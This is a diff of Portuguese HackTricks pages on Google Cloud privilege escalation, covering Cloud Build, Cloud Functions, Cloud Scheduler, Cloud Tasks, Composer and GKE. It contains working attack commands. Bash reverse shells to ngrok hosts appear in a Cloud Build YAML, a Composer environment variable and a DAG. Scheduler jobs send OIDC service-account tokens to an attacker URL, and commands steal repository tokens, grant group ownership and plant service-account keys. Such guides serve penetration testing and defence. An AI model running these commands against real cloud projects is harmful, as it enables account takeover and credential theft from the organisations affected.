{{#include ../../../banners/hacktricks-training.md}}
### Criar Marca e Cliente OAuth
### Criar OAuth Brand e Cliente
[**De acordo com a documentação**](https://cloud.google.com/iap/docs/programmatic-oauth-clients), estas são as permissões necessárias:
@@ -14,6 +14,8 @@
- `clientauthconfig.clients.getWithSecret`
- `clientauthconfig.clients.delete`
- `clientauthconfig.clients.update`
<details><summary>Criar OAuth Brand e Cliente</summary>
```bash
# Create a brand
gcloud iap oauth-brands list
@@ -21,4 +23,6 @@ gcloud iap oauth-brands create --application_title=APPLICATION_TITLE --support_e
# Create a client of the brand
gcloud iap oauth-clients create projects/PROJECT_NUMBER/brands/BRAND-ID --display_name=NAME
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## cloudbuild
Para mais informações sobre o Cloud Build, consulte:
Para mais informações sobre Cloud Build, consulte:
{{#ref}}
../gcp-services/gcp-cloud-build-enum.md
@@ -12,12 +12,14 @@ Para mais informações sobre o Cloud Build, consulte:
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
Com esta permissão, você pode **submeter um cloud build**. A máquina cloudbuild terá em seu sistema de arquivos por **padrão um token da Service Account do cloudbuild**: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. No entanto, você pode **indicar qualquer service account dentro do projeto** na configuração do cloudbuild.\
Portanto, você pode simplesmente fazer a máquina exfiltrar para o seu servidor o token ou **obter um shell reverso dentro dela e conseguir o token** (o arquivo contendo o token pode mudar).
Com essa permissão você pode **submit a cloud build**. A máquina do cloudbuild terá em seu filesystem por **default um token do cloudbuild Service Account**: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Entretanto, você pode **indicar qualquer service account dentro do projeto** na configuração do cloudbuild.\
Portanto, você pode simplesmente fazer com que a máquina exfiltrate para o seu servidor o token ou **get a reverse shell inside of it and get yourself the token** (o arquivo contendo o token pode mudar).
#### Exploração direta via gcloud CLI
#### Direct exploitation via gcloud CLI
1- Crie `cloudbuild.yaml` e modifique com os dados do seu listener.
1- Crie `cloudbuild.yaml` e modifique com os dados do seu listener
<details><summary>Cloud Build YAML configuration for reverse shell</summary>
```yaml
steps:
- name: bash
@@ -27,19 +29,27 @@ bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
options:
logging: CLOUD_LOGGING_ONLY
```
2- Faça o upload de uma build simples sem fonte, o arquivo yaml e especifique o SA a ser usado na build:
</details>
2- Faça upload de um build simples sem código-fonte, apenas o arquivo yaml e especifique a SA a ser usada no build:
<details><summary>Enviar Cloud Build com a conta de serviço especificada</summary>
```bash
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
```
#### Usando a biblioteca gcloud do python
Você pode encontrar o script de exploit original [**aqui no GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (mas o local de onde está pegando o token não funcionou para mim). Portanto, confira um script para automatizar a [**criação, exploração e limpeza de um ambiente vulnerável aqui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) e um script em python para obter um shell reverso dentro da máquina cloudbuild e [**roubar isso aqui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (no código você pode encontrar como especificar outras contas de serviço)**.**
</details>
#### Usando python gcloud library
Você pode encontrar o exploit script original [**here on GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (mas a localização de onde ele pega o token não funcionou para mim). Portanto, consulte um script para automatizar a [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) e um python script para obter um reverse shell dentro da máquina cloudbuild e [**steal it here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (no código você pode encontrar como especificar outras service accounts)**.**
Para uma explicação mais detalhada, visite [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
### `cloudbuild.repositories.accessReadToken`
Com esta permissão, o usuário pode obter o **token de acesso de leitura** usado para acessar o repositório:
Com essa permissão o usuário pode obter o **read access token** usado para acessar o repositório:
<details><summary>Obter o read access token do repositório</summary>
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
@@ -47,9 +57,13 @@ curl -X POST \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"
```
</details>
### `cloudbuild.repositories.accessReadWriteToken`
Com esta permissão, o usuário pode obter o **token de acesso de leitura e gravação** usado para acessar o repositório:
Com esta permissão o usuário pode obter o **token de acesso de leitura e gravação** usado para acessar o repositório:
<details><summary>Obter token de acesso de leitura e gravação para o repositório</summary>
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
@@ -57,12 +71,18 @@ curl -X POST \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"
```
</details>
### `cloudbuild.connections.fetchLinkableRepositories`
Com esta permissão, você pode **obter os repositórios aos quais a conexão tem acesso:**
Com esta permissão você pode **obter os repositórios aos quais a conexão tem acesso:**
<details><summary>Buscar repositórios vinculáveis</summary>
```bash
curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,19 +12,21 @@ Mais informações sobre Cloud Functions:
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
Um atacante com esses privilégios pode **criar uma nova Cloud Function com código arbitrário (malicioso) e atribuí-la a uma Service Account**. Em seguida, vazar o token da Service Account a partir dos metadados para escalar privilégios para ela.\
Alguns privilégios para acionar a função podem ser necessários.
Um atacante com esses privilégios pode **criar uma nova Cloud Function com código arbitrário (malicioso) e atribuir-lhe uma Service Account**. Depois, leak o Service Account token a partir dos metadata para escalar privilégios para essa Service Account.\
Podem ser necessários alguns privilégios para acionar a função.
Scripts de exploração para este método podem ser encontrados [aqui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) e [aqui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) e o arquivo .zip pré-construído pode ser encontrado [aqui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
Scripts de exploit para este método podem ser encontrados [aqui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) e [aqui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) e o arquivo .zip pré-compilado pode ser encontrado [aqui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
Um atacante com esses privilégios pode **modificar o código de uma Function e até mesmo modificar a service account anexada** com o objetivo de exfiltrar o token.
Um atacante com esses privilégios pode **modificar o código de uma Function e até alterar a Service Account anexada** com o objetivo de exfiltrar o token.
> [!CAUTION]
> Para implantar funções em nuvem, você também precisará de permissões actAs sobre a service account padrão de computação ou sobre a service account que é usada para construir a imagem.
> Para implantar cloud functions você também precisará de permissões actAs sobre a default compute service account ou sobre a service account usada para construir a imagem.
Alguns privilégios extras, como a permissão `.call` para a versão 1 de cloudfunctions ou o papel `role/run.invoker` para acionar a função, podem ser necessários.
Alguns privilégios extras, como permissão `.call` para cloudfunctions versão 1 ou o role `role/run.invoker` para invocar a função, podem ser necessários.
<details><summary>Atualizar Cloud Function com código malicioso para exfiltrar service account token</summary>
```bash
# Create new code
temp_dir=$(mktemp -d)
@@ -54,14 +56,18 @@ gcloud functions deploy <cloudfunction-name> \
# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
```
> [!CAUTION]
> Se você receber o erro `Permission 'run.services.setIamPolicy' denied on resource...` é porque você está usando o parâmetro `--allow-unauthenticated` e não tem permissões suficientes para isso.
</details>
O script de exploração para este método pode ser encontrado [aqui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
> [!CAUTION]
> Se você obtiver o erro `Permission 'run.services.setIamPolicy' denied on resource...` é porque está usando o parâmetro `--allow-unauthenticated` e não tem permissões suficientes para isso.
O script de exploit para este método pode ser encontrado [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
### `cloudfunctions.functions.sourceCodeSet`
Com esta permissão, você pode obter uma **URL assinada para poder fazer o upload de um arquivo para um bucket de função (mas o código da função não será alterado, você ainda precisa atualizá-lo)**
Com essa permissão você pode obter uma **URL de upload assinada para poder enviar um arquivo para o bucket da função (mas o código da função não será alterado, você ainda precisa atualizá-lo)**
<details><summary>Gerar URL de upload assinada para Cloud Function</summary>
```bash
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
@@ -69,36 +75,38 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
-H "Content-Type: application/json" \
-d '{}'
```
Não tenho certeza de quão útil apenas essa permissão é do ponto de vista de um atacante, mas é bom saber.
</details>
### `cloudfunctions.functions.setIamPolicy`, `iam.serviceAccounts.actAs`
Não tenho muita certeza de quão útil apenas essa permissão é do ponto de vista de um atacante, mas é bom saber.
Dê a si mesmo qualquer um dos privilégios anteriores **`.update`** ou **`.create`** para escalar.
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
Conceda a si mesmo qualquer um dos privilégios **`.update`** ou **`.create`** anteriores para escalar.
### `cloudfunctions.functions.update`
Ter apenas permissões de **`cloudfunctions`**, sem **`iam.serviceAccounts.actAs`**, você **não poderá atualizar a função, ENTÃO ISTO NÃO É UM PRIVESC VÁLIDO.**
Ter apenas permissões de **`cloudfunctions`**, sem **`iam.serviceAccounts.actAs`**, significa que **você não poderá atualizar a função, ENTÃO ISTO NÃO É UM PRIVESC VÁLIDO.**
### Acesso de Leitura e Gravação sobre o bucket
### Acesso de leitura e escrita ao bucket
Se você tiver acesso de leitura e gravação sobre o bucket, pode monitorar mudanças no código e sempre que uma **atualização no bucket acontecer, você pode atualizar o novo código com seu próprio código** que a nova versão da Cloud Function se executada com o código backdoored enviado.
Se você tem acesso de leitura e escrita ao bucket, pode monitorar mudanças no código e sempre que uma **atualização no bucket ocorrer, você pode substituir o novo código pelo seu próprio código** de modo que a nova versão do Cloud Function seja executada com o backdoored code submetido.
Você pode verificar mais sobre o ataque em:
Você pode conferir mais sobre o ataque em:
{{#ref}}
gcp-storage-privesc.md
{{#endref}}
No entanto, você não pode usar isso para pré-comprometer Cloud Functions de terceiros, porque se você criar o bucket em sua conta e der permissões públicas para que o projeto externo possa escrever sobre ele, você recebe o seguinte erro:
No entanto, você não pode usar isso para pré-comprometer Cloud Functions de terceiros porque, se você criar o bucket na sua conta e conceder permissões públicas para que o projeto externo possa escrever nele, você recebe o seguinte erro:
<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
> [!CAUTION]
> No entanto, isso poderia ser usado para ataques DoS.
### Acesso de Leitura e Gravação sobre o Artifact Registry
### Acesso de leitura e escrita ao Artifact Registry
Quando uma Cloud Function é criada, uma nova imagem docker é enviada para o Artifact Registry do projeto. Tentei modificar a imagem com uma nova e até mesmo deletar a imagem atual (e a imagem `cache`), e nada mudou, a cloud function continuou funcionando. Portanto, talvez **possa ser possível abusar de um ataque de Condição de Corrida** como com o bucket para mudar o contêiner docker que será executado, mas **apenas modificar a imagem armazenada não é possível comprometer a Cloud Function**.
Quando um Cloud Function é criado, uma nova docker image é enviada ao Artifact Registry do projeto. Eu tentei modificar a imagem por uma nova, e até deletar a imagem atual (e a `cache` image) e nada mudou, a Cloud Function continuou funcionando. Portanto, talvez **possa ser possível abusar de um Race Condition attack** como com o bucket para alterar o docker container que será executado, mas **apenas modificar a imagem armazenada não é suficiente para comprometer a Cloud Function**.
## Referências

View File

@@ -12,14 +12,20 @@ Para mais informações sobre o serviço cloudidentity, consulte esta página:
### Adicione-se a um grupo
Se seu usuário tiver permissões suficientes ou o grupo estiver mal configurado, ele pode ser capaz de se tornar um membro de um novo grupo:
Se seu usuário tiver permissões suficientes ou se o grupo estiver mal configurado, você pode conseguir tornar-se membro de um novo grupo:
<details><summary>Adicione-se a um grupo do Cloud Identity</summary>
```bash
gcloud identity groups memberships add --group-email <email> --member-email <email> [--roles OWNER]
# If --roles isn't specified you will get MEMBER
```
### Modificar a associação a grupos
</details>
Se o seu usuário tiver permissões suficientes ou o grupo estiver mal configurado, ele pode ser capaz de se tornar PROPRIETÁRIO de um grupo do qual é membro:
### Modificar associação ao grupo
Se seu usuário tiver permissões suficientes ou o grupo estiver mal configurado, ele pode conseguir tornar-se OWNER de um grupo do qual é membro:
<details><summary>Modificar associação ao grupo para tornar-se OWNER</summary>
```bash
# Check the current membership level
gcloud identity groups memberships describe --member-email <email> --group-email <email>
@@ -27,4 +33,6 @@ gcloud identity groups memberships describe --member-email <email> --group-email
# If not OWNER try
gcloud identity groups memberships modify-membership-roles --group-email <email> --member-email <email> --add-roles=OWNER
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -10,35 +10,49 @@ Mais informações em:
../gcp-services/gcp-cloud-scheduler-enum.md
{{#endref}}
### `cloudscheduler.jobs.create`, `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
### `cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
Um atacante com essas permissões poderia explorar **Cloud Scheduler** para **autenticar jobs cron como uma Conta de Serviço específica**. Ao elaborar uma solicitação HTTP POST, o atacante agenda ações, como criar um bucket de Storage, para serem executadas sob a identidade da Conta de Serviço. Este método aproveita a **capacidade do Scheduler de direcionar endpoints `*.googleapis.com` e autenticar solicitações**, permitindo que o atacante manipule endpoints da API do Google diretamente usando um simples comando `gcloud`.
Um atacante com essas permissões poderia explorar o **Cloud Scheduler** para **autenticar cron jobs como uma Service Account específica**. Ao montar uma requisição HTTP POST, o atacante agenda ações, como criar um bucket do Storage, para serem executadas sob a identidade da Service Account. Esse método aproveita a **capacidade do Scheduler de direcionar endpoints `*.googleapis.com` e autenticar requisições**, permitindo ao atacante manipular endpoints da Google API diretamente usando um simples comando `gcloud`.
- **Contate qualquer API do google via `googleapis.com` com cabeçalho de token OAuth**
- **Contate qualquer API do Google via `googleapis.com` com cabeçalho de token OAuth**
Crie um novo bucket de Storage:
Criar um novo bucket do Storage:
<details><summary>Criar job do Cloud Scheduler para criar bucket GCS via API</summary>
```bash
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1
```
Para escalar privilégios, um **atacante simplesmente cria uma solicitação HTTP direcionada à API desejada, se passando pela Conta de Serviço especificada**
</details>
- **Exfiltrar token da conta de serviço OIDC**
Para escalar privilégios, um **attacker simplesmente cria uma requisição HTTP direcionada à API desejada, se fazendo passar pelo Service Account especificado**
- **Exfiltrate OIDC service account token**
<details><summary>Criar job do Cloud Scheduler para exfiltrate OIDC token</summary>
```bash
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
```
Se você precisar verificar a resposta HTTP, pode simplesmente **dar uma olhada nos logs da execução**.
</details>
### `cloudscheduler.jobs.update`, `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
Se precisar verificar a resposta HTTP você pode simplesmente **dar uma olhada nos logs da execução**.
Como no cenário anterior, é possível **atualizar um scheduler já criado** para roubar o token ou realizar ações. Por exemplo:
### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
Como no cenário anterior é possível **atualizar um scheduler já criado** para roubar o token ou executar ações. Por exemplo:
<details><summary>Atualizar job existente do Cloud Scheduler para exfiltrar token OIDC</summary>
```bash
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
```
Outro exemplo para fazer upload de uma chave privada para um SA e se passar por ele:
</details>
Outro exemplo para fazer upload de uma chave privada para uma SA e se passar por ela:
<details><summary>Upload private key to Service Account via Cloud Scheduler and impersonate it</summary>
```bash
# Generate local private key
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
@@ -102,6 +116,8 @@ EOF
# Activate the generated key
gcloud auth activate-service-account --key-file=/tmp/lab.json
```
</details>
## Referências
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)

View File

@@ -1,4 +1,4 @@
# GCP - Cloud Tasks Privesc
# GCP - Cloud Tasks Escalada de privilégios
{{#include ../../../banners/hacktricks-training.md}}
@@ -6,7 +6,9 @@
### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`
Um atacante com essas permissões pode **impersonar outras contas de serviço** criando tarefas que são executadas com a identidade da conta de serviço especificada. Isso permite enviar **requisições HTTP autenticadas para serviços Cloud Run ou Cloud Functions protegidos pelo IAM**.
Um atacante com essas permissões pode **impersonate outras service accounts** ao criar tasks que são executadas com a identidade da service account especificada. Isso permite enviar **requisições HTTP autenticadas para serviços Cloud Run ou Cloud Functions protegidos por IAM**.
<details><summary>Create Cloud Task with service account impersonation</summary>
```bash
gcloud tasks create-http-task \
task-$(date '+%Y%m%d%H%M%S') \
@@ -18,17 +20,25 @@ task-$(date '+%Y%m%d%H%M%S') \
--body-content '{"hello":"world"}' \
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
```
</details>
### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`
Um atacante com essas permissões pode **executar tarefas agendadas existentes** sem ter permissões na conta de serviço associada à tarefa. Isso permite a execução de tarefas que foram criadas anteriormente com contas de serviço de maior privilégio.
Um attacker com essas permissões pode **executar tarefas agendadas existentes** sem precisar de permissões na conta de serviço associada à tarefa. Isso permite executar tarefas que foram previamente criadas com contas de serviço com privilégios mais altos.
<details><summary>Executar Cloud Task existente sem permissão actAs</summary>
```bash
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
```
O principal que executa este comando **não precisa da permissão `iam.serviceAccounts.actAs`** na conta de serviço da tarefa. No entanto, isso apenas permite a execução de tarefas existentes - não concede a capacidade de criar ou modificar tarefas.
</details>
O principal que executa este comando **não precisa da permissão `iam.serviceAccounts.actAs`** na conta de serviço da tarefa. No entanto, isso apenas permite executar tarefas existentes — não concede a capacidade de criar ou modificar tarefas.
### `cloudtasks.queues.setIamPolicy`
Um atacante com essa permissão pode **conceder a si mesmo ou a outros principais funções do Cloud Tasks** em filas específicas, potencialmente escalando para `roles/cloudtasks.admin`, que inclui a capacidade de criar e executar tarefas.
Um atacante com essa permissão pode **conceder a si mesmo ou a outros principals papéis do Cloud Tasks** em filas específicas, potencialmente escalando para `roles/cloudtasks.admin`, que inclui a capacidade de criar e executar tarefas.
<details><summary>Conceder papel de administrador do Cloud Tasks na fila</summary>
```bash
gcloud tasks queues add-iam-policy-binding \
<queue_name> \
@@ -36,7 +46,9 @@ gcloud tasks queues add-iam-policy-binding \
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
--role roles/cloudtasks.admin
```
Isso permite que o atacante conceda permissões administrativas completas do Cloud Tasks na fila a qualquer conta de serviço que eles controlam.
</details>
Isso permite que o atacante conceda permissões de administrador completas do Cloud Tasks na fila a qualquer service account que ele controle.
## Referências

View File

@@ -12,18 +12,24 @@ Mais informações em:
### `composer.environments.create`
É possível **anexar qualquer conta de serviço** ao novo ambiente composer criado com essa permissão. Mais tarde, você poderia executar código dentro do composer para roubar o token da conta de serviço.
É possível **anexar qualquer conta de serviço** ao ambiente composer recém-criado com essa permissão. Mais tarde, você poderia executar código dentro do composer para roubar o token da conta de serviço.
<details><summary>Criar ambiente Composer com conta de serviço anexada</summary>
```bash
gcloud composer environments create privesc-test \
--project "${PROJECT_ID}" \
--location europe-west1 \
--service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"
```
Mais informações sobre a exploração [**aqui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh).
</details>
Mais informações sobre a exploração [**here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh).
### `composer.environments.update`
É possível atualizar o ambiente do composer, por exemplo, modificando variáveis de ambiente:
É possível atualizar o ambiente do Composer, por exemplo, modificando variáveis de ambiente:
<details><summary>Atualizar variáveis de ambiente do Composer para execução de código</summary>
```bash
# Even if it says you don't have enough permissions the update happens
gcloud composer environments update \
@@ -46,24 +52,36 @@ X-Allowed-Locations: 0x0
{"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}
```
</details>
TODO: Obter RCE adicionando novos pacotes pypi ao ambiente
### Baixar Dags
### Baixar DAGs
Verifique o código-fonte dos dags sendo executados:
Verifique o código-fonte dos DAGs que estão sendo executados:
<details><summary>Exportar e baixar DAGs do ambiente Composer</summary>
```bash
mkdir /tmp/dags
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
```
### Importar Dags
</details>
Adicione o código DAG em Python em um arquivo e importe-o executando:
### Import Dags
Adicione o código python do DAG em um arquivo e importe-o executando:
<details><summary>Import malicious DAG into Composer environment</summary>
```bash
# TODO: Create dag to get a rev shell
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
```
DAG de shell reverso:
```python:reverse_shell.py
</details>
DAG de Reverse shell:
<details><summary>Código DAG em Python para reverse shell</summary>
```python
import airflow
from airflow import DAG
from airflow.operators.bash_operator import BashOperator
@@ -94,9 +112,11 @@ depends_on_past=False,
priority_weight=2**31 - 1,
do_xcom_push=False)
```
### Acesso de Escrita ao bucket do Composer
</details>
Todos os componentes de um ambiente de composer (DAGs, plugins e dados) são armazenados dentro de um bucket do GCP. Se o atacante tiver permissões de leitura e escrita sobre ele, ele pode monitorar o bucket e **sempre que um DAG for criado ou atualizado, enviar uma versão com backdoor** para que o ambiente de composer obtenha a versão com backdoor do armazenamento.
### Acesso de escrita ao bucket do Composer
Todos os componentes de um ambiente composer (DAGs, plugins and data) são armazenados dentro de um bucket GCP. Se o atacante tiver permissões de leitura e escrita sobre ele, pode monitorar o bucket e **sempre que um DAG for criado ou atualizado, submeter uma versão backdoored** para que o ambiente composer obtenha do armazenamento a versão backdoored.
Obtenha mais informações sobre este ataque em:
@@ -108,8 +128,8 @@ gcp-storage-privesc.md
TODO: Verificar o que é possível comprometer ao fazer upload de plugins
### Importar Dados
### Importar Data
TODO: Verificar o que é possível comprometer ao fazer upload de dados
TODO: Verificar o que é possível comprometer ao fazer upload de data
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -6,16 +6,22 @@
### `container.clusters.get`
Esta permissão permite **coletar credenciais para o cluster Kubernetes** usando algo como:
Esta permissão permite **obter credenciais do cluster Kubernetes** usando algo como:
<details><summary>Obter credenciais do cluster Kubernetes</summary>
```bash
gcloud container clusters get-credentials <cluster_name> --zone <zone>
```
Sem permissões extras, as credenciais são bastante básicas, pois você pode **apenas listar alguns recursos**, mas são úteis para encontrar configurações incorretas no ambiente.
</details>
Sem permissões extras, as credenciais são bastante básicas, pois você pode **apenas listar algum recurso**, mas são úteis para encontrar misconfigurações no ambiente.
> [!NOTE]
> Note que **os clusters do kubernetes podem estar configurados para serem privados**, o que impedirá o acesso ao servidor Kube-API a partir da Internet.
> Note que **kubernetes clusters podem estar configurados como privados**, o que impedirá o acesso ao servidor Kube-API a partir da Internet.
Se você não tiver essa permissão, ainda pode acessar o cluster, mas precisa **criar seu próprio arquivo de configuração kubectl** com as informações dos clusters. Um novo gerado se parece com isso:
Se você não tiver essa permissão, ainda pode acessar o cluster, mas precisa **criar seu próprio arquivo de configuração kubectl** com as informações do cluster. Um arquivo recém-gerado fica assim:
<details><summary>Exemplo de arquivo de configuração kubectl para cluster GKE</summary>
```yaml
apiVersion: v1
clusters:
@@ -44,44 +50,46 @@ expiry-key: "{.credential.token_expiry}"
token-key: "{.credential.access_token}"
name: gcp
```
</details>
### `container.roles.escalate` | `container.clusterRoles.escalate`
**Kubernetes** por padrão **impede** que os principais possam **criar** ou **atualizar** **Roles** e **ClusterRoles** com **mais permissões** do que as que o principal possui. No entanto, um principal **GCP** com essas permissões será **capaz de criar/atualizar Roles/ClusterRoles com mais permissões** do que as que possui, efetivamente contornando a proteção do Kubernetes contra esse comportamento.
**Kubernetes** por padrão **impede** que principals consigam **criar** ou **atualizar** **Roles** e **ClusterRoles** com **mais permissões** do que as que o principal possui. No entanto, um principal do **GCP** com essa permissão será **capaz de criar/atualizar Roles/ClusterRoles com mais permissões** do que as que ele detinha, efetivamente contornando a proteção do Kubernetes contra esse comportamento.
**`container.roles.create`** e/ou **`container.roles.update`** OU **`container.clusterRoles.create`** e/ou **`container.clusterRoles.update`** respectivamente também são **necessários** para realizar essas ações de escalonamento de privilégios.
**`container.roles.create`** and/or **`container.roles.update`** OR **`container.clusterRoles.create`** and/or **`container.clusterRoles.update`** respectivamente são **também** **necessárias** para realizar essas ações de escalonamento de privilégios.
### `container.roles.bind` | `container.clusterRoles.bind`
**Kubernetes** por padrão **impede** que os principais possam **criar** ou **atualizar** **RoleBindings** e **ClusterRoleBindings** para dar **mais permissões** do que as que o principal possui. No entanto, um principal **GCP** com essas permissões será **capaz de criar/atualizar RoleBindings/ClusterRoleBindings com mais permissões** do que as que possui, efetivamente contornando a proteção do Kubernetes contra esse comportamento.
**Kubernetes** por padrão **impede** que principals consigam **criar** ou **atualizar** **RoleBindings** e **ClusterRoleBindings** para conceder **mais permissões** do que as que o principal possui. No entanto, um principal do **GCP** com essa permissão será **capaz de criar/atualizar RolesBindings/ClusterRolesBindings com mais permissões** do que as que ele tem, efetivamente contornando a proteção do Kubernetes contra esse comportamento.
**`container.roleBindings.create`** e/ou **`container.roleBindings.update`** OU **`container.clusterRoleBindings.create`** e/ou **`container.clusterRoleBindings.update`** respectivamente também são **necessários** para realizar essas ações de escalonamento de privilégios.
**`container.roleBindings.create`** and/or **`container.roleBindings.update`** OR **`container.clusterRoleBindings.create`** and/or **`container.clusterRoleBindings.update`** respectivamente são também **necessárias** para realizar essas ações de escalonamento de privilégios.
### `container.cronJobs.create` | `container.cronJobs.update` | `container.daemonSets.create` | `container.daemonSets.update` | `container.deployments.create` | `container.deployments.update` | `container.jobs.create` | `container.jobs.update` | `container.pods.create` | `container.pods.update` | `container.replicaSets.create` | `container.replicaSets.update` | `container.replicationControllers.create` | `container.replicationControllers.update` | `container.scheduledJobs.create` | `container.scheduledJobs.update` | `container.statefulSets.create` | `container.statefulSets.update`
Todas essas permissões permitirão que você **crie ou atualize um recurso** onde você pode **definir** um **pod**. Definindo um pod, você pode **especificar o SA** que será **anexado** e a **imagem** que será **executada**, portanto, você pode executar uma imagem que irá **exfiltrar o token do SA para o seu servidor**, permitindo que você escale para qualquer conta de serviço.\
Para mais informações, consulte:
Todas essas permissões vão permitir que você **crie ou atualize um recurso** onde você pode **definir** um **pod**. Ao definir um pod você pode **especificar a SA** que será **anexada** e a **image** que será **executada**, portanto você pode executar uma image que vai **exfiltrate the token of the SA to your server** permitindo que você escale para qualquer service account.\
Para mais informações verifique:
Como estamos em um ambiente GCP, você também poderá **obter o SA do nodepool GCP** do serviço de **metadados** e **escalar privilégios no GCP** (por padrão, o SA de computação é usado).
Como estamos em um ambiente GCP, você também poderá **obter o nodepool GCP SA** a partir do **metadata** service e **escalar privilégios no GCP** (por padrão o compute SA é usado).
### `container.secrets.get` | `container.secrets.list`
Como [**explicado nesta página**,](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#listing-secrets) com essas permissões você pode **ler** os **tokens** de todos os **SAs do kubernetes**, então você pode escalar para eles.
